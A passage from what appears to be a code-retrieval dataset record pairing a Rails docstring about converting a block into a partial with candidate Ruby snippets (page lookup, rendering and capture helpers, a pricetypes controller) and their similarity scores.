"def extract_pages_list\n if @page\n if @page.wikitopdf_toc_page && @page.wikitopdf_toc_page.istoc\n [ url_by_page(@page) ] + pages_from_toc(@page)\n else\n [ url_by_page(@page) ] + pdf_page_hierarchy(@page.id)\n end\n else\n pdf_page_hierarchy(nil)\n end\n end",
"def public_pages\n\n pages = {}\n\n # Add page contents\n ContentManagerSystem::Content.all(:type => {:id => 'page'}).map do |content| \n pages.store(content.title, content.alias)\n end \n\n # Add views\n ContentManagerSystem::View.all(:block => false).map do |view|\n pages.store(view.title, view.url)\n end\n\n return pages\n\n end",
"def page()\n session[:edit_mode] ||= 0\n# Initialize parts\n @parts = nil\n @js, @css = '', ''\n# find domain name in sites\n @site = dc_get_site\n# site is not defined. render 404 error\n return dc_render_404('Site!') if @site.nil?\n dc_set_options(@site.settings)\n# HOMEPAGE. When no parameters is set\n params[:path] = @site.homepage_link if params[:id].nil? and params[:path].nil?\n# Search for page \n pageclass = @site.page_table.classify.constantize\n if params[:id]\n @page = pageclass.find_by(subject_link: params[:id])\n elsif params[:path]\n# path may point direct to page's subject_link\n @page = pageclass.find_by(subject_link: params[:path])\n end\n# if @page is not found render 404 error\n return dc_render_404('Page!') unless @page\n dc_set_options @page.params\n# find design if defined. Otherwise design MUST be declared in site\n if @page.dc_design_id\n @design = DcDesign.find(@page.dc_design_id)\n return dc_render_404('Design!') unless @design\n end\n# Add to edit menu\n if session[:edit_mode] > 0\n session[:site_id] = @site.id\n session[:site_page_table] = @site.page_table\n session[:page_id] = @page.id\n end\n# perform check every hour. Perhaps if user has rights changes\n session[:last_check] ||= Time.now\n if (session[:last_check] - Time.now) > 3600\n # perform checks\n # TO BE DONE\n \n # update time\n session[:last_check] = Time.now\n end \n @page_title = @page.subject.empty? ? @site.page_title : @page.subject\n get_design_and_render @design\nend",
"def get_ids(url)\n #return ['142730293478'] # for debugging\n #return ['141088779348'] # for debugging\n agent = Mechanize.new\n page = agent.get(url)\n ids = page.search('article').map do |a|\n a.get_attribute 'id'\n end\n if (nxt = page.at('#older'))\n sleep 1\n nextpage = nxt.get_attribute('href')\n p \"get next #{nextpage}\"\n ids.concat(get_ids(DOMAIN + nextpage))\n else\n ids\n end\nend",
"def pageInstanceAnalysis(entity) \n\t\tputs \"search for page #{entity}\"\n\t\tparams=process_params(entity)\n\t\tresult=server_rest_api(@pages_restapi,params)\n\t\tputs \"result=#{result}\"\n\t\tpages_uuids=[]\n\t\tputs \"#{@pg_uuids}\"\n\t\tmatches=result.select{ |h| ! @pg_uuids.any?{ |t| t == h[:pageId] && h[:name] == entity[:name]} }\tif ! result.nil?\n\t\tputs \"matches=#{matches}\"\n\t\tmatches.each do |tr|\n\t\t\tpages_uuids.push(tr[:pageId])\n\t\tend unless matches.nil?\n\t\treturn pages_uuids\n\tend",
"def page; self end",
"def index\r\n @pages = Page.published\r\n # @projects = @categories.map { |x| x.projects.published }.flatten.sort_by { |x| x.created_at }\r\n @page_title = Page.model_name.human&.pluralize\r\n end",
"def unique_page_object(key, container)\n unique_page_class(key).new(container)\nend",
"def set_page\r\n @page = Page.friendly.find(params[:id])\r\n end",
"def index\n @page_pages = PagePage.all\n end",
"def page_url(page, obj = nil)\n url = case page\n when 'home' then '/'\n when 'featured events' then '#/featured'\n when 'browse all events' then '#/browse/events'\n when 'browse all places' then '#/browse/places'\n when 'browse publishers' then '#/fun'\n when 'my redrover' then '/my'\n when 'settings' then '#/settings'\n else raise \"Unknown page_url: #{page}\"\n end\nend",
"def index\n @rcadmin_static_pages = Rcadmin::StaticPage.all\n end",
"def pages\n get(\"v1/event/#{@id}/pages\")\n end",
"def generateLinks()\n links = {}\n \n $doc.pages.each do |page|\n page.markdown.each do |line|\n headerMatch = line.match(/^(#+)\\s+(.*?)\\s+@@(.*?)$/)\n if headerMatch\n headerLevel = headerMatch[1].length\n headerTitle = headerMatch[2]\n headerID = headerMatch[3]\n if links[headerID]\n puts \"ERROR: #{headerID} already exists.\"\n exit 1\n end\n if headerLevel == 1\n links[headerID] = \"#{page.id}.htm\"\n else\n links[headerID] = \"#{page.id}.htm##{headerID}\"\n end\n end\n end\n end\n \n links[\"toc\"] = \"index.htm\"\n \n return links\nend"
] |
[
"0.7298104",
"0.71460736",
"0.67690337",
"0.67471206",
"0.660766",
"0.660766",
"0.660766",
"0.660766",
"0.660766",
"0.660766",
"0.660766",
"0.660766",
"0.660766",
"0.660766",
"0.660766",
"0.660766",
"0.65711683",
"0.649829",
"0.6430819",
"0.63828135",
"0.63820493",
"0.63558275",
"0.63550895",
"0.6238648",
"0.6232662",
"0.6221341",
"0.62140363",
"0.6189806",
"0.6189469",
"0.61843073",
"0.61429995",
"0.61362326",
"0.6111478",
"0.60926366",
"0.6087242",
"0.60712487",
"0.60584",
"0.60362893",
"0.6026944",
"0.60262847",
"0.60262847",
"0.602611",
"0.6025488",
"0.6025015",
"0.600506",
"0.60045",
"0.6002725",
"0.6002725",
"0.6002725",
"0.5997315",
"0.5981634",
"0.59667087",
"0.5965501",
"0.59624296",
"0.5957318",
"0.5944973",
"0.59358233",
"0.5931835",
"0.5931501",
"0.5917672",
"0.5917672",
"0.5917672",
"0.591482",
"0.5913231",
"0.59117055",
"0.5905846",
"0.5903749",
"0.58996236",
"0.5899303",
"0.5896682",
"0.5886621",
"0.58859545",
"0.58802265",
"0.58758557",
"0.58756334",
"0.58743376",
"0.5869304",
"0.5867186",
"0.58624625",
"0.5861021",
"0.58576477",
"0.58530045",
"0.58508646",
"0.5849746",
"0.5848016",
"0.5847267",
"0.58251035",
"0.58250487",
"0.5823476",
"0.5810846",
"0.58040756",
"0.5801801",
"0.58015656",
"0.5799494",
"0.5792351",
"0.57919896",
"0.5790264",
"0.5786385",
"0.5786111",
"0.57856697",
"0.57826877"
] |
0.0
|
-1
|
Only need this helper once, it will provide an interface to convert a block into a partial. 1. Capture is a Rails helper which will 'capture' the output of a block into a variable 2. Merge the 'body' variable into our options hash 3. Render the partial with the given options hash. Just like calling the partial directly.
|
def block_to_partial(partial_name, options = {}, &block)
#puts "PARTIAL_NAME=#{partial_name},OPTIONS=#{options},BLOCK=#{block}"
options.merge!(:body => capture(&block))
concat(render(:partial => partial_name, :locals => options))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n @options = options\n concat(render(:partial => partial_name), block.binding)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def raw_block_to_partial(partial_name, options = {}, &block)\n options.merge!(:block => block)\n render(:partial => partial_name, :locals => options)\n end",
"def render_partial(context, options, &block) # :nodoc:\n render_partial_to_object(context, options, &block).body\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def render_partial(context, options, &block); end",
"def capture_template_block(*args, &blk)\n if respond_to?(:is_haml?) && is_haml?\n capture_haml(*args, &blk)\n else\n with_output_buffer(&blk)\n end\n end",
"def capture_html(*args, &block) \n if self.respond_to?(:is_haml?) && is_haml?\n block_is_haml?(block) ? capture_haml(*args, &block) : block.call\n elsif erb_buffer?\n result_text = capture_block(*args, &block)\n result_text.present? ? result_text : (block_given? && block.call(*args))\n else # theres no template to capture, invoke the block directly\n block.call(*args)\n end\n end",
"def render_body(context, options); end",
"def render_body(context, options)\n if options.key?(:partial)\n [render_partial(context, options)]\n else\n StreamingTemplateRenderer.new(@lookup_context).render(context, options)\n end\n end",
"def capture_and_render(&block)\n render_method.call Util.capture_stdout(&block)\n end",
"def render(options = {}, locals = {}, &block)\n buffer = super\n opts = { context: self, buffer: buffer, options: options, locals: locals }\n ActiveSupport::Notifications.instrument(:render_partial, opts)\n buffer\n end",
"def render(*args, &block)\n captured = helpers.capture do\n helpers.concat(helpers.render(*args, &block))\n helpers.output_buffer.to_s\n end\n rawtext(captured)\n end",
"def render_block(name_or_container, *args, &block)\n buffer = ActiveSupport::SafeBuffer.new\n\n name, block_render_options = extract_block_name_and_options(name_or_container)\n\n block_definition_options = {}\n if blocks[name]\n block_container = blocks[name]\n block_definition_options = block_container.options\n end\n\n options = global_options.merge(block_definition_options).merge(block_render_options).merge(args.extract_options!)\n\n if blocks[name]\n block_container = blocks[name]\n args.push(options)\n buffer << view.capture(*(args[0, block_container.block.arity]), &block_container.block)\n elsif options[:use_partials] && !options[:skip_partials]\n begin\n begin\n buffer << view.render(\"#{name.to_s}\", options)\n rescue ActionView::MissingTemplate, ArgumentError\n buffer << view.render(\"#{options[:partials_folder]}/#{name.to_s}\", options)\n end\n rescue ActionView::MissingTemplate, ArgumentError\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n else\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n\n buffer\n end",
"def render_to_body(options); end",
"def render\n Debug.debug { \"Now rendering #{@context} block for #{self}\" }\n @document.playback_attributes @attributes\n out = renderer.render(\"block_#{@context}\", self)\n @document.callouts.next_list if @context == :colist\n out\n end",
"def render_to_body(options = {})\n end",
"def render\n content = output_capture(@block) do\n instance_exec( *@args, &@block )\n end\n content_wrapped = output_capture() { wrap( content ) }\n output_concat content_wrapped\n end",
"def render\n if @block\n instance_eval(&@block)\n end\n end",
"def body_content\n call_block\n end",
"def render(&block)\n API::Composition.render(&block)\n end",
"def render_to_body(options = {})\n\t end",
"def render(options = T.unsafe(nil), locals = T.unsafe(nil), &block); end",
"def render(*args, &block)\n\t options = _normalize_render(*args, &block)\n\t self.response_body = render_to_body(options)\n\t _process_format(rendered_format, options) if rendered_format\n\t self.response_body\n\t end",
"def page_block(title = nil, options = {}, &block)\n block_to_partial('shared/block', options.merge(:title => title), &block)\n end",
"def capture_html(*args, root_name:Vue::Helpers.root_name, locals:{}, &block)\n #puts \"CAPTURE_HTML args: #{args}, root_name: #{root_name}, locals:#{locals}\"\n return unless block_given?\n \n # This is mostly for Rails. Are there other frameworks that would use this?\n return(capture(*args, &block)) if respond_to?(:capture)\n \n # This is one of the points where we finally need to know what template\n # we're using. If the actively-rendering template is not handled by Tilt,\n # we can only take a best guess. If we're wrong, the user will need to set\n # Vue::Helpers.defaults[:template_engine] to a known template type.\n current_template = current_template_engine(true)\n #puts \"CAPTURE_HTML current_template: #{current_template}.\"\n #puts \"CAPTURE_HTML block info: block-local-vars:#{block.binding.local_variables}, block-ivars:#{block.binding.eval('instance_variables')}, controller-ivars:#{instance_variables}\" if block_given?\n \n case current_template.to_s\n when /erb/i\n #puts \"Capturing ERB block with eoutvar '#{get_current_eoutvar}'.\"\n #puts \"Tilt @outvar '#{Tilt.current_template.instance_variable_get(:@outvar)}'\"\n #return(capture(*args, &block)) if respond_to?(:capture)\n existing_buffer = buffer\n if existing_buffer\n pos = existing_buffer.to_s.size\n yield(*args)\n modified_buffer = buffer\n modified_buffer.to_s.slice!(pos..modified_buffer.to_s.size)\n else\n yield(*args)\n end\n when /haml/i\n #puts \"Capturing HAML block.\"\n capture_haml(*args, &block)\n else\n #puts \"Capturing (yielding) to generic template block.\"\n yield(*args)\n end\n \n end",
"def render(object)\n @block.call(object)\n end",
"def render(context, options)\n render_to_object(context, options).body\n end",
"def render(&block) #:nodoc:\r\n instance_eval(&block)\r\n @output_buffer\r\n end",
"def render(options = {}, locals = {}, &block)\n case options\n when Hash\n if block_given?\n (try(:controller) || self).view_renderer.render_partial(self, options.merge(:partial => options[:layout]), &block)\n else\n (try(:controller) || self).view_renderer.render(self, options)\n end\n else\n if options < ActiveView::Base\n view_renderer.render_view(self, options, controller, locals, &block)\n else\n (try(:controller) || self).view_renderer.render_partial(self, :partial => options, :locals => locals)\n end\n end\n end",
"def render(*args, &block); end",
"def capture(&block)\n begin\n original_doc = @doc\n @doc = HtmlParts.new\n yield\n raw(@doc.to_s)\n ensure\n @doc = original_doc\n end\n end",
"def render_block(name, context, blocks = {}, use_blocks = true)\n # ob_start();\n display_block(name, context, blocks, use_blocks)\n # return ob_get_clean();\n end",
"def capture_from_template(*args, &block)\n engine_matches?(block) ? template.capture_haml(*args, &block) : yield(*args)\n end",
"def build_html\n ApplicationController.render(partial: partial, locals: locals)\n end",
"def render(*args, &block)\n options = args.last.is_a?(Hash) ? args.pop : {}\n @response.status = options.delete(:status) || 200\n layout = @layouts[options.delete(:layout) || :default]\n assigns = { :request => request, :response => response, :params => params, :session => session }\n @content = args.last.is_a?(String) ? args.last : Markaby::Builder.new(assigns, self, &(block || @views[args.last])).to_s\n @content = Markaby::Builder.new(assigns, self, &layout).to_s if layout\n @response.headers.merge!(options)\n @response.body = @content\n end",
"def liquid_block(block)\n Liquid::Template.parse(block).render(@context)\n end",
"def render(options=nil, deprecated_status_or_extra_options=nil, &block)\n if ::Rails::VERSION::STRING >= '2.0.0' && deprecated_status_or_extra_options.nil?\n deprecated_status_or_extra_options = {}\n end\n \n unless block_given?\n unless integrate_views?\n if @template.respond_to?(:finder)\n (class << @template.finder; self; end).class_eval do\n define_method :file_exists? do; true; end\n end\n else\n (class << @template; self; end).class_eval do\n define_method :file_exists? do; true; end\n end\n end\n (class << @template; self; end).class_eval do\n define_method :render_file do |*args|\n @first_render ||= args[0] unless args[0] =~ /^layouts/\n end\n \n define_method :pick_template do |*args|\n @_first_render ||= args[0] unless args[0] =~ /^layouts/\n PickedTemplate.new\n end\n end\n end\n end\n\n if matching_message_expectation_exists(options)\n expect_render_mock_proxy.render(options, &block)\n @performed_render = true\n else\n if matching_stub_exists(options)\n @performed_render = true\n else\n super(options, deprecated_status_or_extra_options, &block)\n end\n end\n end",
"def setup(context, options, block)\n @view = context\n @options = options\n @block = block\n\n @locals = options[:locals] ? options[:locals].symbolize_keys : {}\n @details = extract_details(options)\n\n prepend_formats(options[:formats])\n\n partial = options[:partial]\n\n if String === partial\n @has_object = options.key?(:object)\n @object = options[:object]\n @collection = collection_from_options\n @path = partial\n else\n @has_object = true\n @object = partial\n @collection = collection_from_object || collection_from_options\n\n if @collection\n paths = @collection_data = @collection.map { |o| partial_path(o) }\n @path = paths.uniq.one? ? paths.first : nil\n else\n @path = partial_path\n end\n end\n\n if as = options[:as]\n raise_invalid_option_as(as) unless /\\A[a-z_]\\w*\\z/.match?(as.to_s)\n as = as.to_sym\n end\n\n if @path\n @variable, @variable_counter, @variable_iteration = retrieve_variable(@path, as)\n @template_keys = retrieve_template_keys\n else\n paths.map! { |path| retrieve_variable(path, as).unshift(path) }\n end\n\n self\n end",
"def content_for(capture)\n @layout_block.call(capture)\n end",
"def block_render(_partial_name, _partial_locals={})\n render(:layout => _partial_name, :locals => _partial_locals) do\n yield\n end\n end",
"def render(context, options); end",
"def render_to_body(options = T.unsafe(nil)); end",
"def render_to_string(*args, &block)\n options = _normalize_render(*args, &block)\n render_to_body(options)\n end",
"def partial(template_name, locals, &content)\n self.kramdown_source.render(template_name)\n end",
"def streamlined_render(options = nil, deprecated_status = nil, &block)\n begin\n render(options, deprecated_status, &block)\n rescue ActionView::TemplateError => ex \n raise ex\n rescue Exception => ex\n if options\n if options[:partial] && @managed_partials.include?(options[:partial])\n options[:partial] = controller.generic_view(options[:partial])\n render(options, deprecated_status, &block)\n else\n raise ex\n end\n else\n view_name = default_template_name.split(\"/\")[-1]\n render(:template => StreamlinedController.generic_view(view_name))\n end\n end\n end",
"def render_field_with_block(label, &block)\n content = with_output_buffer(&block)\n render_field_content(label, content)\n end",
"def render(*args, &block)\n options = _normalize_render(*args, &block)\n rendered_body = render_to_body(options)\n if options[:html]\n _set_html_content_type\n else\n _set_rendered_content_type rendered_format\n end\n _set_vary_header\n self.response_body = rendered_body\n end",
"def partial(page, options={})\n erb page, options.merge!(:layout => false)\n end",
"def partial(page, options={})\n erb page, options.merge!(:layout => false)\n end",
"def capture(&block)\n if helpers.respond_to?(:capture)\n raw(helpers.capture(&block).to_s)\n else\n super\n end\n end",
"def render_to_string(*args, &block)\n options = _normalize_render(*args, &block)\n render_to_body(options)\n end",
"def render_partial(url, options = {})\n Ramaze.deprecated('Helper::Partial#render_partial', 'Helper::Render#render_full')\n\n uri = URI(url)\n query = options # Innate::Current.request.params.merge(options)\n uri.query = Rack::Utils.build_query(query)\n\n body = nil\n\n Innate::Mock.session do |session|\n cookie = Innate::Current.session.cookie\n session.cookie = cookie\n body = session.get(uri.to_s, options).body\n end\n\n body\n end",
"def run_block\n @_block_content = nil\n unless block.blank?\n @_block_content = if view.parent.present?\n capture(view, &block)\n else\n ## We've been called directly from a controller.\n yield(view)\n end\n end\n end",
"def capture_erb(*args, &block) \n erb_with_output_buffer { block_given? && block.call(*args) }\n end",
"def render_in(view_context, &block)\n self.class.compile\n @view_context = view_context\n @view_renderer ||= view_context.view_renderer\n @lookup_context ||= view_context.lookup_context\n @view_flow ||= view_context.view_flow\n @virtual_path ||= virtual_path\n @variant = @lookup_context.variants.first\n old_current_template = @current_template\n @current_template = self\n\n # Pass self as a block parameter\n @content = render_block(view_context, &block) if block_given?\n validate!\n\n send(self.class.call_method_name(@variant))\n ensure\n @current_template = old_current_template\n end",
"def to_html(locals={}, tilt_options={}, &blk)\n html = content(locals, tilt_options, &blk)\n html = layout.to_html(locals, tilt_options) { html } if layout?\n html\n end",
"def render_partial(*ignore_args); end",
"def render_body(params)\n render_custom(body, params)\n end",
"def render(*args)\n options = {}\n if args.length == 1 && args[0].class == String\n # render partial\n options[:partial] = args[0]\n elsif args.length == 1 && args[0].class == Hash\n # render :partial => 'partial', :locals => {:var1 => value1, :var2 => value2}\n options = args[0]\n elsif args.length == 2 && args[0].class == String && args[1].class == Hash\n # render 'partial', :var1 => value1, :var2 => value2\n options[:locals] = args[1]\n options[:partial] = args[0]\n elsif args.length == 1 && args[0].class == Array\n # render ['xpartials','ypartials']\n raise PartialError, \"render array not yet implemented\"\n else\n raise PartialError, \"unsupported arguments\"\n end\n partial = options[:partial] || nil\n raise PartialError, \"partial not specified\" unless partial\n prawn = options[:prawn] || pdf\n @locals_stack ||= []\n @locals_stack.push @locals\n @locals = options[:locals]\n @pdf_stack ||= []\n @pdf_stack.push @pdf\n @pdf = prawn\n instance_eval(partial_source(partial), __FILE__, __LINE__)\n @pdf = @pdf_stack.pop\n @locals = @locals_stack.pop\n end",
"def render_template(context, options); end",
"def capture(*args, &block)\n # execute the block\n begin\n buffer = _buffer( block.binding )\n rescue\n buffer = nil\n end\n \n if buffer.nil?\n capture_block(*args, &block)\n else\n capture_erb_with_buffer(buffer, *args, &block)\n end\n end",
"def box(name, options={}, &block)\n options.merge!(:body=>capture(&block))\n concat(render(:partial => \"shared/ubiquo/boxes/#{name}\", :locals => options), block.binding)\n end",
"def render(scope = Object.new, &block)\n @scope_object = scope\n @buffer = Haml::Buffer.new(@options)\n\n local_assigns = @options[:locals]\n\n # Get inside the view object's world\n @scope_object.instance_eval do\n # Set all the local assigns\n local_assigns.each do |key,val|\n self.class.send(:define_method, key) { val }\n end\n end\n\n # Compile the @precompiled buffer\n compile &block\n\n # Return the result string\n @buffer.buffer\n end",
"def render_template(options={})\n # puts \"ActionController#render_template(start), options = #{options}\"\n #`var d = new Date(); console.log(\"time= \" + d.getSeconds() + \":\" + d.getMilliseconds());`\n #Timer.time_stamp(\"render_template (begin)\")\n content_fors = options.delete(:content_for) || {}\n partial = options[:partial]\n\n # renderer = ActionView::Renderer.new(self, path: render_path)\n # puts \"renderer = #{@renderer.inspect}\"\n if partial\n # puts \"ActionController#render_template (partial)\"\n top_view_html = @renderer.render(options)\n else\n # puts \"ActionController#render_template (file)\"\n top_view_html = @renderer.render(file: render_path, options: {locals: @__locals})\n end\n\n content_for_htmls = {}\n content_fors.each do |key, selector|\n content_for_html = @renderer.content_fors[key]\n #puts \"content for #{key} = #{content_for_html}\"\n content_for_htmls[selector] = content_for_html\n end\n #`var d = new Date(); console.log(\"time= \" + d.getSeconds() + \":\" + d.getMilliseconds());`\n [top_view_html, content_for_htmls]\n end",
"def render(view, locals, buffer=nil, &block)\n @template.instance_variable_set(:'@source', wrapped_source)\n\n super(view, locals, buffer, &block)\n end",
"def body(opts = {}, &block)\n build_main_component :body, opts, &block\n end",
"def capture_erb(*args, &block)\n erb_with_output_buffer { block_given? && block.call(*args) }\n end",
"def capture(*args, &block)\n # execute the block\n begin\n buffer = _buffer( block.binding )\n rescue\n buffer = nil\n end\n \n if buffer.nil?\n capture_block(*args, &block)\n else\n capture_erb_with_buffer(buffer, *args, &block)\n end\n end",
"def capture_erb( *args, &block )\n # get the buffer from the block's binding\n buffer = _erb_buffer(block.binding) rescue nil\n\n # If there is no buffer, just call the block and get the contents\n if buffer.nil?\n block.call(*args)\n # If there is a buffer, execute the block, then extract its contents\n else\n pos = buffer.length\n block.call(*args)\n\n # extract the block\n data = buffer[pos..-1]\n\n # replace it in the original with empty string\n buffer[pos..-1] = ''\n\n data\n end\n end",
"def body(&block)\n call_once\n if block_given?\n yield body\n else\n @body\n end\n end",
"def _normalize_render(*args, &block); end",
"def block_or_string_content\n content_block ? view_context.capture(self, &content_block) : content_string\n end",
"def capture_erb( *args, &block )\n # get the buffer from the block's binding\n buffer = _erb_buffer(block.binding) rescue nil\n\n # If there is no buffer, just call the block and get the contents\n if buffer.nil?\n block.call(*args)\n # If there is a buffer, execute the block, then extract its contents\n else\n pos = buffer.length\n block.call(*args)\n\n # extract the block\n data = buffer[pos..-1]\n\n # replace it in the original with empty string\n buffer[pos..-1] = \"\"\n\n data\n end\n end",
"def partial(template, locals = {})\n erb(template, :layout => false, :locals => locals)\n end",
"def partial(template, locals = {})\n erb(template, :layout => false, :locals => locals)\n end",
"def render(options = {}, &block)\n\t\t\t\t@options[:global] = options\n\n\t\t\t\t# Hash\n\t\t\t\thash = 1\n\n\t\t\t\t# Parse axes\n\t\t\t\t@options[:global][:x_axis] = parse_axis(@options[:global][:x_axis])\n\t\t\t\t@options[:global][:y_axis] = parse_axis(@options[:global][:y_axis])\n\n\t\t\t\t# Call nested block to capture parts and its options\n\t\t\t\tunused = @template.capture(self, &block).to_s\n\n\t\t\t\t# Render parts\n\t\t\t\tresult = \"\"\n\t\t\t\tresult += %{\n\t\t\t\t\t<table id=\"statistics-#{hash}\" class=\"table statistics\">\n\t\t\t\t\t\t#{render_parts}\n\t\t\t\t\t</table>\n\t\t\t\t}\n\t\t\t\treturn result.html_safe\n\t\t\tend",
"def render_template(context, options) # :nodoc:\n render_template_to_object(context, options).body\n end",
"def fragment_for(name = {}, options = nil, &block) #:nodoc:\n if fragment = controller.read_fragment(name, options)\n fragment\n else\n # VIEW TODO: Make #capture usable outside of ERB\n # This dance is needed because Builder can't use capture\n pos = output_buffer.length\n yield\n fragment = output_buffer.slice!(pos..-1)\n controller.write_fragment(name, fragment, options)\n end\n end",
"def content\n call_block\n end",
"def partial(name, options={})\n old_format = self.template_format\n self.template_format = :html\n js render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def render(options={}, &block)\n if options[:nothing]\n return \"\" \n end\n \n if options[:text]\n options.reverse_merge!(:render_children => false)\n end\n \n options.reverse_merge! :render_children => true,\n :locals => {},\n :invoke => {},\n :suppress_js => false\n \n \n rendered_children = render_children_for(options)\n \n options[:locals].reverse_merge!(:rendered_children => rendered_children)\n \n @suppress_js = options[:suppress_js] ### FIXME: implement with ActiveHelper and :locals.\n \n \n render_view_for(options, action_name) # defined in Cell::Base.\n end",
"def render(&block)\n template_names = [ @layouts, @name ].flatten.reverse\n top_render_proc = template_names.inject(block) do |render_proc, name|\n proc{ @sinatra_call.erb(name, @options, &render_proc) }\n end\n top_render_proc.call\n end",
"def content_for(*args,&block)\n if block\n helpers.content_for(*args,&block)\n else\n rawtext(helpers.content_for(*args))\n ''\n end\n end",
"def render(data = {}, &block)\n output = content(data, &block)\n output = layout.render(get_data(data)) { output } unless layout.nil?\n output\n end",
"def capture_from_template(*args, &block)\n self.output_buffer, _buf_was = \"\", self.output_buffer\n block.call(*args)\n ret = eval(\"@_out_buf\", block.binding)\n self.output_buffer = _buf_was\n ret\n end",
"def render(context)\n # Sanitize the code inside the block\n resolve_code = super.to_s.gsub(/\\A(\\n|\\r)+|(\\n|\\r)+\\z/, \"\")\n \n # Invoke Rouge to format our code\n formatted_code = rouge_resolve(resolve_code)\n \n # Output the formatted code with the proper HTML tags\n to_html_code(formatted_code)\n end",
"def body\n output = Renderer.render renderer_template, body_locals\n output = edit_body(output) if options[:editor]\n output\n end",
"def prettybox(html_options, &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n concat(tag(\"div\", html_options, true), proc.binding)\n concat(\"<div class=\\\"prettybox_top\\\">\n <div> </div>\n </div><div class=\\\"prettybox_inside\\\">\", proc.binding)\n yield\n concat(\"</div><div class=\\\"prettybox_bot\\\">\n <div> </div>\n </div>\n </div>\", proc.binding)\n end",
"def render(identifier, other_assigns={}, &block)\n # Find layout\n layout = @site.layouts.find { |l| l.identifier == identifier.cleaned_identifier }\n raise Nanoc3::Errors::UnknownLayout.new(identifier.cleaned_identifier) if layout.nil?\n\n # Capture content, if any\n captured_content = block_given? ? capture(&block) : nil\n\n # Get assigns\n assigns = {\n :content => captured_content,\n :item => @item,\n :item_rep => @item_rep,\n :items => @items,\n :layout => layout,\n :layouts => @layouts,\n :config => @config,\n :site => @site\n }.merge(other_assigns)\n\n # Get filter name\n filter_name, filter_args = @site.compiler.filter_for_layout(layout)\n raise Nanoc3::Errors::CannotDetermineFilter.new(layout.identifier) if filter_name.nil?\n\n # Get filter class\n filter_class = Nanoc3::Filter.named(filter_name)\n raise Nanoc3::Errors::UnknownFilter.new(filter_name) if filter_class.nil?\n\n # Create filter\n filter = filter_class.new(assigns)\n\n # Layout\n @site.compiler.stack.push(layout)\n result = filter.run(layout.raw_content, filter_args)\n @site.compiler.stack.pop\n\n # Append to erbout if we have a block\n if block_given?\n erbout = eval('_erbout', block.binding)\n erbout << result\n end\n\n # Done\n result\n end",
"def _render_template(options); end",
"def _render_template(options); end",
"def render(scope = T.unsafe(nil), locals = T.unsafe(nil), &block); end",
"def partial(template, locals = {})\n erb(template, layout: false, locals: locals)\n end",
"def render\n result = {:text => @generator.to_s, :content_type => Mime::JS}\n\n # iframed uploads context overloading\n if @template.request.content_type == 'multipart/form-data'\n result[:content_type] = Mime::HTML\n result[:layout] = nil\n result[:text] = %Q{\n<!-- iframed uploads JS responses layout -->\n<html>\n <head>\n <script type=\"text/javascript\">\n with (window.parent) {\n #{result[:text]}\n }\n </script>\n </head>\n</html>\n }.strip\n end\n\n result.merge! @options\n end"
] |
[
"0.77908033",
"0.7781661",
"0.7781661",
"0.7771526",
"0.7771526",
"0.7771526",
"0.74103457",
"0.7321377",
"0.7313855",
"0.7278552",
"0.7225996",
"0.6842992",
"0.68315643",
"0.6785507",
"0.6662835",
"0.66410714",
"0.6602847",
"0.6572013",
"0.6539879",
"0.65341526",
"0.65145487",
"0.65091276",
"0.64972115",
"0.64855385",
"0.6409317",
"0.6392756",
"0.63922465",
"0.63575745",
"0.63224834",
"0.6270732",
"0.6234311",
"0.6218504",
"0.61908287",
"0.61644125",
"0.61414",
"0.61365825",
"0.6117078",
"0.6080231",
"0.60696626",
"0.6068751",
"0.60503316",
"0.6024705",
"0.60186106",
"0.6008625",
"0.60079277",
"0.59936404",
"0.59924656",
"0.5986987",
"0.598439",
"0.5976792",
"0.5968469",
"0.5965628",
"0.59581333",
"0.59315974",
"0.59315974",
"0.5930095",
"0.59108055",
"0.5910525",
"0.5909291",
"0.58805096",
"0.58746624",
"0.5863359",
"0.58257776",
"0.5812858",
"0.5796393",
"0.578809",
"0.57701164",
"0.5751786",
"0.574045",
"0.5740051",
"0.5736192",
"0.5725377",
"0.572191",
"0.5721621",
"0.57196486",
"0.571511",
"0.5714534",
"0.5711806",
"0.5701057",
"0.56910616",
"0.56910616",
"0.56899387",
"0.5689407",
"0.5686923",
"0.5686481",
"0.56846404",
"0.5681775",
"0.5666845",
"0.5655886",
"0.5655561",
"0.5648426",
"0.5638366",
"0.5637888",
"0.5633665",
"0.5631477",
"0.5630004",
"0.5630004",
"0.562821",
"0.5622739",
"0.5598075"
] |
0.76805353
|
6
|
GET /pricetypes GET /pricetypes.json
|
def index
ensure_an_admin_role
@pricetypes = Pricetype.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @ptypes = Ptype.find(params[:id])\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def index\n @ptypes = Ptype.all\n end",
"def index\n @ptypes = Ptype.all\n end",
